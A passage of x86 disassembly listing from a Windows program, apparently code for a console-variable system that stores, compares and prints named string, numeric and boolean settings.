		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B070	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0B1	proc near		; DATA XREF: ___:00440224o
		mov	eax, offset loc_40B09E
		retn
sub_40B0B1	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B0E0	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B122
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_4021B2
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B122:				; CODE XREF: sub_40B0E0+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B0E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B150	proc near		; CODE XREF: sub_401DE3j

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B172
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B172:				; CODE XREF: sub_40B150+6j
		pop	ecx
		retn
sub_40B150	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B190	proc near		; CODE XREF: sub_401A00j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B190
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401753
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401C08
sub_40B190	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43F020
		call	sub_401C03
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B250	proc near		; CODE XREF: sub_401AFAj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B250
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43F020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401C03
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40155F
sub_40B250	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B2F0	proc near		; CODE XREF: sub_4017F8j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B2F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401C03
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_40B2F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B470	proc near		; CODE XREF: sub_40181Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FDC
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FDC
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F50
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FDC
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401915
sub_40B470	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B510	proc near		; CODE XREF: sub_401B72j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401870
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401870
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401870
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40181B
sub_40B510	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B600	proc near		; CODE XREF: sub_4019DDj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401546
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40145B
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B681
		mov	edi, [esp+10h+arg_0]


loc_40B646:				; CODE XREF: sub_40B600+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021D0
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B68B
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B646


loc_40B681:				; CODE XREF: sub_40B600+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B68B:				; CODE XREF: sub_40B600+60j
		call	sub_401F78
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B6D0:				; CODE XREF: ___:00401460j
		push	0FFFFFFFFh
		push	offset loc_439EF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401870
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019DD
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B760	proc near		; CODE XREF: sub_4015A0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	near ptr 77C1CF90h
		nop
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B7B1
		mov	byte ptr [esi+19h], 1


loc_40B7B1:				; CODE XREF: sub_40B760+4Bj
		pop	esi
		retn	8
sub_40B760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B7E0	proc near		; CODE XREF: sub_401F50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B835
		mov	byte ptr [esi+19h], 1


loc_40B835:				; CODE XREF: sub_40B7E0+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B7E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B870:				; CODE XREF: ___:00401D57j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		fld	dword ptr [esp+10h]
		fcomp	flt_43F024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B8C1
		mov	byte ptr [esi+19h], 1


loc_40B8C1:				; CODE XREF: ___:0040B8BBj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8F0:				; CODE XREF: ___:00401CA8j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B920
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015E1
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B920:				; CODE XREF: ___:0040B8F8j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015E1
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B960:				; CODE XREF: ___:00401D7Fj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4447F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B990
		mov	byte ptr [esi+19h], 1


loc_40B990:				; CODE XREF: ___:0040B98Aj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B9B0:				; CODE XREF: ___:loc_401AE1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439F30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BAF2
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_401546
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BAEB


loc_40BA56:				; CODE XREF: ___:0040BAE5j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F78
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017EE
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 24h
		push	5DCh
		nop
		call	near ptr 2830000h
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40BA56


loc_40BAEB:				; CODE XREF: ___:0040BA50j
		mov	al, 1
		jmp	loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BAF2:				; CODE XREF: ___:0040B9E7j
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BB85
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC78
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 1Ch
		jmp	loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BB85:				; CODE XREF: ___:0040BB04j
		lea	ecx, [ebp+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BC78
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC78
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014D3
		mov	ebx, 2
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F50
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BC78:				; CODE XREF: ___:0040BB40j
					; ___:0040BB97j ...
		xor	al, al


loc_40BC7A:				; CODE XREF: ___:0040BAEDj
					; ___:0040BB80j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD50	proc near		; CODE XREF: sub_401C08j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021EE
sub_40BD50	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD90	proc near		; CODE XREF: sub_40155Fj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FEB
sub_40BD90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE00	proc near		; CODE XREF: sub_40145Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4014B0
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_40BE00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE40	proc near		; CODE XREF: sub_401C85j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_40BE40	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BE70	proc near		; CODE XREF: sub_401915j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C85
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C5D
sub_40BE70	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEB0	proc near		; CODE XREF: sub_401C03j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BEB0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF00	proc near		; CODE XREF: sub_401546j
		push	esi
		mov	esi, ecx
		call	sub_402158
		mov	eax, esi
		pop	esi
		retn
sub_40BF00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF20	proc near		; CODE XREF: sub_401F78j
		mov	eax, [ecx]
		push	eax
		call	sub_401848
		add	esp, 4
		retn
sub_40BF20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF40	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BF40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF70	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CFD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BF70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BFA0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016AE
		mov	edi, eax
		push	edi
		call	sub_40215D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021EE
sub_40BFA0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40215D
		push	edi
		mov	[eax], ebx
		call	sub_40215D
		mov	edi, [eax]
		push	edi
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401848
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F32
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C040	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
